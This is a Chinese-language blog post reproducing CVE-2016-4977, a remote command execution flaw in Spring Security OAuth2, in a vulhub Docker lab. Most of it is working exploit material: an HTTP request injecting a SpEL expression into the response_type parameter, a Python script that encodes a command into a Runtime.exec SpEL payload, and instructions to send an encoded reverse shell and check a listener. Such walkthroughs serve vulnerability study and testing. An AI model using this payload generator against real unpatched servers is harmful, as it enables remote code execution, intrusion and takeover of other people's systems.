1. 程式人生 > 其它 >Spring Security OAuth2 遠端命令執行漏洞

Spring Security OAuth2 遠端命令執行漏洞

Spring Security OAuth2 遠端命令執行漏洞

Spring Security OAuth2 遠端命令執行漏洞 (CVE-2016-4977)

Spring Security OAuth 是為 Spring 框架提供安全認證支援的一個模組。在其使用 whitelabel views 來處理錯誤時,由於使用了Springs Expression Language (SpEL),攻擊者在被授權的情況下可以通過構造惡意引數來遠端執行命令。


漏洞環境

我們先下載環境,在github有別人直接搭建好的docker環境我們直接拿來用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2016-4977/
docker-compose up -d

訪問IP:8080/即可看到介面。


影響版本

Spring Security OAuth 2.3 - 2.3.2

Spring Security OAuth 2.2 - 2.2.1

Spring Security OAuth 2.1 - 2.1.1

Spring Security OAuth 2.0 - 2.0.14


漏洞復現

輸入POC回顯執行的話證明漏洞存在

GET /oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1
Host: 192.168.200.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1

發現漏洞存在

執行指令碼生成poc

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

massage寫入編碼過後的反彈shell,

編碼網址

把生產poc放入傳送包

GET /oauth/authorize?response_type=POC&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1
Host: 192.168.200.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1

檢視監聽發現執行成功